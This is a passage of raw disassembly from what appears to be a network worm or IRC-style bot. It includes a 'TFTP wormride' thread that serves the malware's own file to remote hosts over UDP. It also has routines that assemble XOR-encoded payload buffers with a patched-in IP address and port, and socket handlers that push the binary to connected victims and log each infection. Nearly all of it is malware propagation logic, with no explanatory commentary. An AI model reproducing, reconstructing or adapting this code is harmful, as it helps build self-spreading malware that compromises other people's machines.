eax, eax jnz loc_412396 movsx eax, [ebp+var_19B] cmp eax, 4 jnz loc_412396 mov al, [ebp+var_19A] mov [ebp+var_DA0], al mov al, [ebp+var_199] mov [ebp+var_D98], al and [ebp+var_D70], 0 mov [ebp+var_D6F], 3 movzx eax, [ebp+var_D98] cmp eax, 0FFh jnz short loc_412242 mov al, [ebp+var_DA0] add al, 1 mov [ebp+var_DA0], al mov al, [ebp+var_DA0] mov [ebp+var_D6E], al and [ebp+var_D98], 0 mov al, [ebp+var_D98] mov [ebp+var_D6D], al jmp short loc_412268 ; --------------------------------------------------------------------------- loc_412242: ; CODE XREF: sub_411DC5+44Cj mov al, [ebp+var_DA0] mov [ebp+var_D6E], al mov al, [ebp+var_D98] add al, 1 mov [ebp+var_D98], al mov al, [ebp+var_D98] mov [ebp+var_D6D], al loc_412268: ; CODE XREF: sub_411DC5+47Bj movzx eax, [ebp+var_DA0] shl eax, 8 movzx ecx, [ebp+var_D98] lea eax, [eax+ecx-1] mov [ebp+var_D9C], eax push 0 mov eax, [ebp+var_D9C] shl eax, 9 push eax push [ebp+var_10C] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_10C] push 200h push 1 lea eax, [ebp+var_D6C] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_D94], eax push [ebp+var_D84] lea eax, [ebp+var_D80] push eax push 0 mov eax, [ebp+var_D94] add eax, 4 push eax lea eax, [ebp+var_D70] push eax push [ebp+var_108] call dword_417250 ; sendto cmp [ebp+var_D94], 0 jnz loc_412394 mov eax, [ebp+var_D9C] shl eax, 9 cmp eax, [ebp+var_4] jb loc_412394 mov eax, [ebp+var_D7C] mov [ebp+var_DA8], eax push [ebp+var_DA8] push offset dword_41EB10 call sub_409C9D pop ecx pop ecx mov [ebp+var_DA4], eax mov eax, [ebp+var_DA4] cmp eax, [ebp+var_DA8] jz short loc_412394 push 1 push offset dword_41EB14 call sub_409C88 pop ecx pop ecx mov [ebp+var_DAC], eax push 10h push [ebp+var_D7C] call dword_41721C ; inet_ntoa push eax lea eax, [ebp+var_11C] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_11C] push eax mov eax, [ebp+var_DAC] inc eax push eax push offset aWormride ; "wormride" push offset unk_41C730 push offset dword_41DAB4 call sub_40D4AB add esp, 14h loc_412394: ; CODE XREF: sub_411DC5+52Dj ; sub_411DC5+53Fj ... jmp short loc_4123B8 ; --------------------------------------------------------------------------- loc_412396: ; CODE XREF: sub_411DC5+404j ; sub_411DC5+414j push [ebp+var_D84] lea eax, [ebp+var_D80] push eax push 0 push 9 push offset dword_41C724 push [ebp+var_108] call dword_417250 ; sendto loc_4123B8: ; CODE XREF: sub_411DC5+252j ; sub_411DC5:loc_4121BBj ... mov eax, [ebp+var_358] cmp dword ptr [eax+4], 0 jz short loc_4123C6 jmp short loc_4123CB ; --------------------------------------------------------------------------- loc_4123C6: ; CODE XREF: sub_411DC5+5FDj jmp loc_411F66 ; --------------------------------------------------------------------------- loc_4123CB: ; CODE XREF: sub_411DC5+5FFj push [ebp+var_10C] call sub_416B82 ; fclose pop ecx push [ebp+var_108] call dword_417230 ; closesocket push [ebp+var_358] call sub_409763 pop ecx xor eax, eax loc_4123F1: ; CODE XREF: sub_411DC5+53j ; sub_411DC5+F8j ... pop edi leave retn 4 sub_411DC5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4123F6 proc near ; CODE XREF: sub_40A9CF+726p ; sub_40A9CF+742p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412410 jmp short locret_412446 ; --------------------------------------------------------------------------- loc_412410: ; CODE XREF: sub_4123F6+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aTftpWormrideTh ; "TFTP wormride thread" mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset sub_411DC5 call sub_4095A4 add esp, 10h locret_412446: ; CODE XREF: sub_4123F6+18j leave retn sub_4123F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412448 proc near ; CODE XREF: sub_4125DF+88p ; sub_4125DF+ADp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_41245A ; --------------------------------------------------------------------------- loc_412453: ; CODE XREF: sub_412448:loc_41249Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_41245A: ; CODE XREF: sub_412448+9j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jnb short loc_41249C and [ebp+var_8], 0 jmp short loc_41246F ; --------------------------------------------------------------------------- loc_412468: ; CODE XREF: sub_412448:loc_412498j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_41246F: ; CODE XREF: sub_412448+1Ej mov eax, [ebp+var_8] cmp eax, [ebp+arg_C] jnb short loc_41249A mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] movsx ecx, [ebp+arg_10] xor eax, ecx mov ecx, [ebp+arg_8] add ecx, [ebp+var_8] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_412498 push 1 pop eax jmp short locret_41249E ; --------------------------------------------------------------------------- loc_412498: ; CODE XREF: sub_412448+49j jmp short loc_412468 ; --------------------------------------------------------------------------- loc_41249A: ; CODE XREF: sub_412448+2Dj jmp short loc_412453 ; --------------------------------------------------------------------------- loc_41249C: ; CODE XREF: sub_412448+18j xor eax, eax locret_41249E: ; CODE XREF: sub_412448+4Ej leave retn sub_412448 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4124A0 proc near ; CODE XREF: sub_4125DF+36p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 10h and [ebp+var_4], 0 and [ebp+var_10], 0 and [ebp+var_8], 0 and [ebp+var_C], 0 cmp [ebp+arg_8], 1 jnz short loc_41250C cmp [ebp+arg_4], 0B2h jnb short loc_4124CC xor eax, eax jmp locret_4125DD ; --------------------------------------------------------------------------- loc_4124CC: ; CODE XREF: sub_4124A0+23j mov [ebp+var_C], 0B2h push [ebp+var_C] push offset dword_41C964 push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 8Fh mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, 88h mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 0ACh mov [ebp+var_8], eax jmp loc_41259C ; --------------------------------------------------------------------------- loc_41250C: ; CODE XREF: sub_4124A0+1Aj cmp [ebp+arg_8], 2 jnz short loc_412554 cmp [ebp+arg_4], 0C6h jnb short loc_412522 xor eax, eax jmp locret_4125DD ; --------------------------------------------------------------------------- loc_412522: ; CODE XREF: sub_4124A0+79j mov [ebp+var_C], 0C6h push [ebp+var_C] push offset dword_41C89C push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 89h mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 0C0h mov [ebp+var_8], eax jmp short loc_41259C ; --------------------------------------------------------------------------- loc_412554: ; CODE XREF: sub_4124A0+70j cmp [ebp+arg_4], 0B2h jnb short loc_412561 xor eax, eax jmp short locret_4125DD ; --------------------------------------------------------------------------- loc_412561: ; CODE XREF: sub_4124A0+BBj mov [ebp+var_C], 0B2h push [ebp+var_C] push offset dword_41C7E8 push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 86h mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, 8Dh mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 0ACh mov [ebp+var_8], eax loc_41259C: ; CODE XREF: sub_4124A0+67j ; sub_4124A0+B2j cmp [ebp+var_4], 0 jz short loc_4125B0 push [ebp+arg_C] call dword_417244 ; inet_addr mov ecx, [ebp+var_4] mov [ecx], eax loc_4125B0: ; CODE XREF: sub_4124A0+100j cmp [ebp+var_10], 0 jz short loc_4125CC push [ebp+arg_10] call sub_416B9C ; atoi pop ecx push eax call dword_417238 ; htons mov ecx, [ebp+var_10] mov [ecx], ax loc_4125CC: ; CODE XREF: sub_4124A0+114j cmp [ebp+var_8], 0 jz short loc_4125DA mov eax, [ebp+var_8] mov ecx, [ebp+arg_14] mov [eax], ecx loc_4125DA: ; CODE XREF: sub_4124A0+130j mov eax, [ebp+var_C] locret_4125DD: ; CODE XREF: sub_4124A0+27j ; sub_4124A0+7Dj ... leave retn sub_4124A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4125DF proc near ; CODE XREF: sub_410649+8Bp ; sub_410B52+41p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 1Ch cmp [ebp+arg_4], 1Ch jnb short loc_4125F2 xor eax, eax jmp locret_41271E ; --------------------------------------------------------------------------- loc_4125F2: ; CODE XREF: sub_4125DF+Aj mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 1Ch mov [ebp+var_4], eax push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push 1E4h push [ebp+var_4] call sub_4124A0 add esp, 18h mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_41262D xor eax, eax jmp locret_41271E ; --------------------------------------------------------------------------- loc_41262D: ; CODE XREF: sub_4125DF+45j push 1Ch push offset loc_41C7C8 push [ebp+var_10] call sub_416B52 ; memcpy add esp, 0Ch mov eax, dword_41CB98 mov [ebp+var_8], eax jmp short loc_412659 ; --------------------------------------------------------------------------- loc_412649: ; CODE XREF: sub_4125DF+94j ; sub_4125DF:loc_41269Aj call sub_410422 mov [ebp+var_8], eax mov eax, [ebp+var_8] mov dword_41CB98, eax loc_412659: ; CODE XREF: sub_4125DF+68j push 0 push [ebp+arg_1C] push [ebp+arg_18] push 4 lea eax, [ebp+var_8] push eax call sub_412448 add esp, 14h test eax, eax jz short loc_412675 jmp short loc_412649 ; --------------------------------------------------------------------------- loc_412675: ; CODE XREF: sub_4125DF+92j mov eax, [ebp+var_14] xor eax, [ebp+var_8] mov [ebp+var_1C], eax push 0 push [ebp+arg_1C] push [ebp+arg_18] push 4 lea eax, [ebp+var_1C] push eax call sub_412448 add esp, 14h test eax, eax jnz short loc_41269A jmp short loc_41269C ; --------------------------------------------------------------------------- loc_41269A: ; CODE XREF: sub_4125DF+B7j jmp short loc_412649 ; --------------------------------------------------------------------------- loc_41269C: ; CODE XREF: sub_4125DF+B9j mov eax, [ebp+var_10] mov ecx, [ebp+var_8] mov [eax+3], ecx mov eax, [ebp+var_10] mov ecx, [ebp+var_1C] mov [eax+9], ecx mov al, byte_41CB95 mov byte ptr [ebp+var_C], al jmp short loc_4126C8 ; --------------------------------------------------------------------------- loc_4126B8: ; CODE XREF: sub_4125DF+104j call sub_410461 mov byte ptr [ebp+var_C], al mov al, byte ptr [ebp+var_C] mov byte_41CB95, al loc_4126C8: ; CODE XREF: sub_4125DF+D7j push [ebp+var_C] push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_14] push [ebp+var_4] call sub_412448 add esp, 14h test eax, eax jz short loc_4126E5 jmp short loc_4126B8 ; --------------------------------------------------------------------------- loc_4126E5: ; CODE XREF: sub_4125DF+102j mov eax, [ebp+var_10] mov cl, byte ptr [ebp+var_C] mov [eax+12h], cl and [ebp+var_18], 0 jmp short loc_4126FB ; --------------------------------------------------------------------------- loc_4126F4: ; CODE XREF: sub_4125DF+137j mov eax, [ebp+var_18] inc eax mov [ebp+var_18], eax loc_4126FB: ; CODE XREF: sub_4125DF+113j mov eax, [ebp+var_18] cmp eax, [ebp+var_14] jnb short loc_412718 mov eax, [ebp+var_4] add eax, [ebp+var_18] mov al, [eax] xor al, byte ptr [ebp+var_C] mov ecx, [ebp+var_4] add ecx, [ebp+var_18] mov [ecx], al jmp short loc_4126F4 ; --------------------------------------------------------------------------- loc_412718: ; CODE XREF: sub_4125DF+122j mov eax, [ebp+var_14] add eax, 1Ch locret_41271E: ; CODE XREF: sub_4125DF+Ej ; sub_4125DF+49j leave retn sub_4125DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412720 proc near ; CODE XREF: sub_412A3A+Cp ; sub_412BC9+DFp ... var_194 = dword ptr -194h var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_E4 = byte ptr -0E4h var_10 = byte ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 194h push 8 push 4 call sub_4103F5 pop ecx pop ecx mov [ebp+var_194], eax and [ebp+var_190], 0 loc_412741: ; CODE XREF: sub_412720:loc_41278Aj push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+var_190] mov [ebp+ecx+var_10], al mov eax, [ebp+var_190] inc eax mov [ebp+var_190], eax mov eax, [ebp+var_190] cmp eax, [ebp+var_194] jnz short loc_41278A push offset dword_418620 mov eax, [ebp+var_190] lea eax, [ebp+eax+var_10] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_41278C ; --------------------------------------------------------------------------- loc_41278A: ; CODE XREF: sub_412720+4Fj jmp short loc_412741 ; --------------------------------------------------------------------------- loc_41278C: ; CODE XREF: sub_412720+68j push 17Ch push offset dword_41CA18 lea eax, [ebp+var_18C] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_10] push eax lea eax, [ebp+var_E4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push 17Ch lea eax, [ebp+var_18C] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch leave retn sub_412720 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4127D0 proc near ; CODE XREF: sub_412A3A+14Dp ; sub_412BC9+133p ... var_24C = byte ptr -24Ch var_22C = byte ptr -22Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 24Ch cmp dword_41EB1C, 0 jnz loc_4128A0 mov dword_41EB1C, 1 and [ebp+var_20C], 0 jmp short loc_412806 ; --------------------------------------------------------------------------- loc_4127F9: ; CODE XREF: sub_4127D0:loc_41289Bj mov eax, [ebp+var_20C] inc eax mov [ebp+var_20C], eax loc_412806: ; CODE XREF: sub_4127D0+27j mov eax, [ebp+var_20C] imul eax, 0Ch cmp off_41DA68[eax], 0 jz loc_4128A0 push 20h mov eax, [ebp+var_20C] imul eax, 0Ch push off_41DA68[eax] lea eax, [ebp+var_22C] push eax call sub_407A56 add esp, 0Ch push 20h mov eax, [ebp+var_20C] imul eax, 0Ch push off_41CBA0[eax] lea eax, [ebp+var_24C] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_22C] push eax call sub_4105AD pop ecx lea eax, [ebp+var_24C] push eax call sub_4105AD pop ecx lea eax, [ebp+var_24C] push eax lea eax, [ebp+var_22C] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_41289B mov dword_41EB20, 1 jmp short loc_4128A0 ; --------------------------------------------------------------------------- loc_41289B: ; CODE XREF: sub_4127D0+BDj jmp loc_4127F9 ; --------------------------------------------------------------------------- loc_4128A0: ; CODE XREF: sub_4127D0+10j ; sub_4127D0+46j ... cmp dword_41EB20, 0 jz short loc_4128AE push 1 pop eax jmp short locret_412917 ; --------------------------------------------------------------------------- loc_4128AE: ; CODE XREF: sub_4127D0+D7j push offset aRb ; "rb" push offset dword_41EC40 call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_4128CC xor eax, eax jmp short locret_412917 ; --------------------------------------------------------------------------- loc_4128CC: ; CODE XREF: sub_4127D0+F6j and [ebp+var_4], 0 loc_4128D0: ; CODE XREF: sub_4127D0+145j push [ebp+var_8] push 200h push 1 lea eax, [ebp+var_208] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412900 push [ebp+var_8] call sub_416B82 ; fclose pop ecx push 1 pop eax jmp short locret_412917 ; --------------------------------------------------------------------------- loc_412900: ; CODE XREF: sub_4127D0+120j push [ebp+var_4] lea eax, [ebp+var_208] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch jmp short loc_4128D0 ; --------------------------------------------------------------------------- locret_412917: ; CODE XREF: sub_4127D0+DCj ; sub_4127D0+FAj ... leave retn sub_4127D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412919 proc near ; CODE XREF: sub_412BC9+E8p ; sub_412D56+18p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push 0EA60h push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_412938 xor eax, eax jmp short locret_41294C ; --------------------------------------------------------------------------- loc_412938: ; CODE XREF: sub_412919+19j push 0 push 4 lea eax, [ebp+var_4] push eax push [ebp+arg_0] call dword_417248 ; recv mov eax, [ebp+var_4] locret_41294C: ; CODE XREF: sub_412919+1Dj leave retn sub_412919 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41294E proc near ; CODE XREF: sub_412BC9+115p ; sub_412D56+3Bp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 and [ebp+var_8], 0 jmp short loc_412964 ; --------------------------------------------------------------------------- loc_41295D: ; CODE XREF: sub_41294E:loc_4129C3j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_412964: ; CODE XREF: sub_41294E+Dj mov eax, [ebp+var_8] imul eax, 3Ah cmp off_41CCFE[eax], 0 jz short loc_4129C5 mov eax, [ebp+var_8] imul eax, 3Ah mov eax, dword_41CCF6[eax] cmp eax, [ebp+arg_0] jnz short loc_4129C3 mov eax, [ebp+var_8] imul eax, 3Ah add eax, offset byte_41CCD0 mov [ebp+var_4], eax push 3Ah mov eax, [ebp+var_8] imul eax, 3Ah add eax, offset byte_41CCD0 push eax push [ebp+arg_4] call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] call sub_4105FB pop ecx mov eax, [ebp+arg_4] add eax, 13h push eax call sub_4105FB pop ecx jmp short loc_4129C5 ; --------------------------------------------------------------------------- loc_4129C3: ; CODE XREF: sub_41294E+34j jmp short loc_41295D ; --------------------------------------------------------------------------- loc_4129C5: ; CODE XREF: sub_41294E+23j ; sub_41294E+73j mov eax, [ebp+var_4] leave retn sub_41294E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4129CA proc near ; CODE XREF: sub_412A3A+16Bp ; sub_412BC9+15Ap ... var_104 = dword ptr -104h var_100 = byte ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 104h push 1 mov eax, [ebp+arg_0] add eax, 2Ah push eax call sub_409C88 pop ecx pop ecx mov [ebp+var_104], eax lea eax, [ebp+var_100] push eax push [ebp+arg_8] call sub_4044F7 pop ecx pop ecx test eax, eax jnz short loc_412A11 push offset aUnknown ; "unknown" lea eax, [ebp+var_100] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_412A11: ; CODE XREF: sub_4129CA+32j lea eax, [ebp+var_100] push eax mov eax, [ebp+var_104] inc eax push eax push [ebp+arg_C] push [ebp+arg_4] push offset dword_41A1D0 push offset dword_41DAB4 call sub_40D4AB add esp, 18h leave retn sub_4129CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412A3A proc near ; CODE XREF: sub_41331E+148p var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = byte ptr -248h var_235 = byte ptr -235h var_222 = dword ptr -222h var_20C = dword ptr -20Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 250h push [ebp+arg_4] call sub_412720 pop ecx push 3Ah push [ebp+arg_0] lea eax, [ebp+var_248] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_248] push eax call sub_4105FB pop ecx lea eax, [ebp+var_235] push eax call sub_4105FB pop ecx lea eax, [ebp+var_20C+3] mov [ebp+var_8], eax push 203h push 0 lea eax, [ebp+var_20C] push eax call sub_416B6A ; memset add esp, 0Ch and [ebp+var_4], 0 jmp short loc_412AA6 ; --------------------------------------------------------------------------- loc_412A9F: ; CODE XREF: sub_412A3A+8Aj ; sub_412A3A:loc_412B7Fj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_412AA6: ; CODE XREF: sub_412A3A+63j cmp [ebp+var_4], 3Ch jnz short loc_412AB1 jmp locret_412BC7 ; --------------------------------------------------------------------------- loc_412AB1: ; CODE XREF: sub_412A3A+70j push 3E8h push [ebp+arg_4] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_412AC6 jmp short loc_412A9F ; --------------------------------------------------------------------------- loc_412AC6: ; CODE XREF: sub_412A3A+88j push 200h push [ebp+var_8] push [ebp+arg_4] call sub_4053DC add esp, 0Ch mov [ebp+var_24C], eax cmp [ebp+var_24C], 0FFFFFFFFh jnz short loc_412AED jmp locret_412BC7 ; --------------------------------------------------------------------------- loc_412AED: ; CODE XREF: sub_412A3A+ACj cmp [ebp+var_24C], 0 jz short loc_412B69 and [ebp+var_250], 0 jmp short loc_412B0C ; --------------------------------------------------------------------------- loc_412AFF: ; CODE XREF: sub_412A3A:loc_412B34j mov eax, [ebp+var_250] inc eax mov [ebp+var_250], eax loc_412B0C: ; CODE XREF: sub_412A3A+C3j mov eax, [ebp+var_250] cmp eax, [ebp+var_24C] jnb short loc_412B36 mov eax, [ebp+var_250] mov eax, [ebp+eax+var_20C] cmp eax, [ebp+var_222] jnz short loc_412B34 jmp loc_412BC5 ; --------------------------------------------------------------------------- loc_412B34: ; CODE XREF: sub_412A3A+F3j jmp short loc_412AFF ; --------------------------------------------------------------------------- loc_412B36: ; CODE XREF: sub_412A3A+DEj push 3 mov eax, [ebp+var_24C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-3] push eax lea eax, [ebp+var_20C] push eax call sub_416B52 ; memcpy add esp, 0Ch push 200h push 0 push [ebp+var_8] call sub_416B6A ; memset add esp, 0Ch jmp short loc_412B7F ; --------------------------------------------------------------------------- loc_412B69: ; CODE XREF: sub_412A3A+BAj push 203h push 0 lea eax, [ebp+var_20C] push eax call sub_416B6A ; memset add esp, 0Ch loc_412B7F: ; CODE XREF: sub_412A3A+12Dj jmp loc_412A9F ; --------------------------------------------------------------------------- loc_412B84: ; CODE XREF: sub_412A3A:loc_412BC5j push [ebp+arg_4] call sub_4127D0 pop ecx test eax, eax jnz short loc_412B93 jmp short locret_412BC7 ; --------------------------------------------------------------------------- loc_412B93: ; CODE XREF: sub_412A3A+155j push offset dword_41CC64 push [ebp+arg_4] lea eax, [ebp+var_248] push eax push [ebp+arg_0] call sub_4129CA add esp, 10h push 1 push [ebp+arg_4] call dword_417200 ; shutdown push 3E8h call dword_41709C ; Sleep jmp short locret_412BC7 ; --------------------------------------------------------------------------- loc_412BC5: ; CODE XREF: sub_412A3A+F5j jmp short loc_412B84 ; --------------------------------------------------------------------------- locret_412BC7: ; CODE XREF: sub_412A3A+72j ; sub_412A3A+AEj ... leave retn sub_412A3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412BC9 proc near ; CODE XREF: sub_41331E+165p var_85C = dword ptr -85Ch var_858 = dword ptr -858h var_854 = dword ptr -854h var_850 = dword ptr -850h var_84C = byte ptr -84Ch var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 85Ch push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_404FE7 add esp, 0Ch mov [ebp+var_8], eax mov [ebp+var_854], 3Ch and [ebp+var_850], 0 and [ebp+var_810], 0 loc_412BFD: ; CODE XREF: sub_412BC9+A9j and [ebp+var_85C], 0 jmp short loc_412C13 ; --------------------------------------------------------------------------- loc_412C06: ; CODE XREF: sub_412BC9:loc_412C35j mov eax, [ebp+var_85C] inc eax mov [ebp+var_85C], eax loc_412C13: ; CODE XREF: sub_412BC9+3Bj mov eax, [ebp+var_85C] cmp eax, [ebp+var_810] jnb short loc_412C37 mov eax, [ebp+var_85C] mov eax, [ebp+eax*4+var_80C] cmp eax, [ebp+var_8] jnz short loc_412C35 jmp short loc_412C37 ; --------------------------------------------------------------------------- loc_412C35: ; CODE XREF: sub_412BC9+68j jmp short loc_412C06 ; --------------------------------------------------------------------------- loc_412C37: ; CODE XREF: sub_412BC9+56j ; sub_412BC9+6Aj mov eax, [ebp+var_85C] cmp eax, [ebp+var_810] jnz short loc_412C6E cmp [ebp+var_810], 200h jnb short loc_412C6E mov eax, [ebp+var_85C] mov ecx, [ebp+var_8] mov [ebp+eax*4+var_80C], ecx mov eax, [ebp+var_810] inc eax mov [ebp+var_810], eax loc_412C6E: ; CODE XREF: sub_412BC9+7Aj ; sub_412BC9+86j xor eax, eax test eax, eax jnz short loc_412BFD lea eax, [ebp+var_854] push eax push 0 lea eax, [ebp+var_810] push eax push 0 push 0 call dword_41722C ; select mov [ebp+var_C], eax cmp [ebp+var_C], 1 jz short loc_412CA5 push [ebp+var_8] call sub_4053B1 pop ecx jmp locret_412D4A ; --------------------------------------------------------------------------- loc_412CA5: ; CODE XREF: sub_412BC9+CCj push [ebp+var_8] call sub_412720 pop ecx push [ebp+var_8] call sub_412919 pop ecx mov [ebp+var_858], eax cmp [ebp+var_858], 0 jnz short loc_412CD1 push [ebp+var_8] call sub_4053B1 pop ecx jmp short locret_412D4A ; --------------------------------------------------------------------------- loc_412CD1: ; CODE XREF: sub_412BC9+FBj lea eax, [ebp+var_84C] push eax push [ebp+var_858] call sub_41294E pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412CF9 push [ebp+var_8] call sub_4053B1 pop ecx jmp short locret_412D4A ; --------------------------------------------------------------------------- loc_412CF9: ; CODE XREF: sub_412BC9+123j push [ebp+var_8] call sub_4127D0 pop ecx test eax, eax jnz short loc_412D11 push [ebp+var_8] call sub_4053B1 pop ecx jmp short locret_412D4A ; --------------------------------------------------------------------------- loc_412D11: ; CODE XREF: sub_412BC9+13Bj push offset dword_41CC68 push [ebp+var_8] lea eax, [ebp+var_84C] push eax push [ebp+var_4] call sub_4129CA add esp, 10h push 1 push [ebp+var_8] call dword_417200 ; shutdown push 3E8h call dword_41709C ; Sleep push [ebp+var_8] call sub_4053B1 pop ecx locret_412D4A: ; CODE XREF: sub_412BC9+D7j ; sub_412BC9+106j ... leave retn sub_412BC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412D4C proc near ; CODE XREF: sub_41331E:loc_413420p push ebp mov ebp, esp mov eax, offset dword_41EB24 pop ebp retn sub_412D4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412D56 proc near ; DATA XREF: sub_412E04+CAo var_48 = dword ptr -48h var_44 = byte ptr -44h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 48h mov eax, [ebp+arg_0] mov [ebp+var_8], eax push [ebp+var_8] call sub_412720 pop ecx push [ebp+var_8] call sub_412919 pop ecx mov [ebp+var_48], eax cmp [ebp+var_48], 0 jnz short loc_412D8A push [ebp+var_8] call sub_4053B1 pop ecx xor eax, eax jmp short locret_412E00 ; --------------------------------------------------------------------------- loc_412D8A: ; CODE XREF: sub_412D56+25j lea eax, [ebp+var_44] push eax push [ebp+var_48] call sub_41294E pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412DAE push [ebp+var_8] call sub_4053B1 pop ecx xor eax, eax jmp short locret_412E00 ; --------------------------------------------------------------------------- loc_412DAE: ; CODE XREF: sub_412D56+49j push [ebp+var_8] call sub_4127D0 pop ecx test eax, eax jnz short loc_412DC8 push [ebp+var_8] call sub_4053B1 pop ecx xor eax, eax jmp short locret_412E00 ; --------------------------------------------------------------------------- loc_412DC8: ; CODE XREF: sub_412D56+63j push offset dword_41CC6C push [ebp+var_8] lea eax, [ebp+var_44] push eax push [ebp+var_4] call sub_4129CA add esp, 10h push 1 push [ebp+var_8] call dword_417200 ; shutdown push 3E8h call dword_41709C ; Sleep push [ebp+var_8] call sub_4053B1 pop ecx xor eax, eax locret_412E00: ; CODE XREF: sub_412D56+32j ; 